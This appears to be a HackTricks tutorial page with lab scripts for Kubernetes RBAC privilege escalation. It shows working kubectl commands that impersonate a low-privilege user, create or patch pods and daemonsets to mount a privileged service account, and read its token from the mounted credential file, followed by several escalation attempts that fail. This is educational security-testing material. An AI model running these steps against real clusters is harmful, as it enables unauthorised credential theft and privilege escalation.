Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
You can run these labs just inside **minikube**. # Pod Creation -> Escalate to ns SAs We are going to create: * A **Service account "test-sa"** with a cluster privilege to **read secrets** * A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created * **Permissions** to list and **create** pods to a user called "**Test**" will be given * A Role "test-r" and RoleBinding "test-rb" will be created * Then we will **confirm** that the SA can list secrets and that the user Test can list a pods * Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.** * This is the way yo show the user could escalate privileges this way {% hint style="info" %} To create the scenario an admin account is used.\ Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**. {% endhint %} ```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: ServiceAccount name: test-sa - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get pods # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` # Create Daemonset ```bash # Create Service Account test-sa # Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` ## Patch Daemonset In this case we are going to **patch a daemonset** to make its pod load our desired service account. If your user has the **verb update instead of patch, this won't work**. ```bash # Create Service Account test-sa # Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io --- apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: automountServiceAccountToken: false hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100']' | kubectl apply -f - # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` # Doesn't work ## Create/Patch Bindings **Doesn't work:** * **Create a new RoleBinding** just with the verb **create** * **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA * **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA ```bash echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r2 rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb2 subjects: - kind: ServiceAccount name: test-sa apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-r2 subjects: - kind: ServiceAccount name: test-sa2 apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete rolebinding test-rb kubectl delete rolebinding test-rb2 kubectl delete role test-r kubectl delete role test-r2 kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 ``` ## Bind explicitly Bindings In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\ However, it didn't work for me: ```yaml # Create 2 SAs, give one of them permissions to create clusterrolebindings # and bind permissions over the ClusterRole "admin" echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io/v1"] resources: ["clusterroles"] verbs: ["bind"] resourceNames: ["admin"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount name: test-sa namespace: default roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Try to bind the ClusterRole "admin" with the second SA (won't work) echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb2 subjects: - kind: ServiceAccount name: test-sa2 namespace: default roleRef: kind: ClusterRole name: admin apiGroup: rbac.authorization.k8s.io ' | kubectl --as system:serviceaccount:default:test-sa apply -f - # Clean environment kubectl delete clusterrolebindings test-crb kubectl delete clusterrolebindings test-crb2 kubectl delete clusterrole test-cr kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa ``` ```yaml # Like the previous example, but in this case we try to use RoleBindings # instead of CLusterRoleBindings echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io/v1"] resources: ["clusterroles"] verbs: ["bind"] resourceNames: ["admin","edit","view"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb namespace: default subjects: - kind: ServiceAccount name: test-sa namespace: default roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Won't work echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb2 namespace: default subjects: - kind: ServiceAccount name: test-sa2 namespace: default roleRef: kind: ClusterRole name: admin apiGroup: rbac.authorization.k8s.io ' | kubectl --as system:serviceaccount:default:test-sa apply -f - # Clean environment kubectl delete rolebindings test-rb kubectl delete rolebindings test-rb2 kubectl delete clusterrole test-cr kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 ``` ## Arbitrary roles creation In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has: ```yaml # Create a SA and give the permissions "create" and "patch" over "roles" echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["roles"] verbs: ["patch", "create", "get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: ServiceAccount name: test-sa roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Try to create a role over all the resources with "create" and "patch" # This won't wotrk echo 'kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r2 rules: - apiGroups: [""] resources: ["*"] verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f- # Clean the environment kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete role test-r2 kubectl delete serviceaccount test-sa ```
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**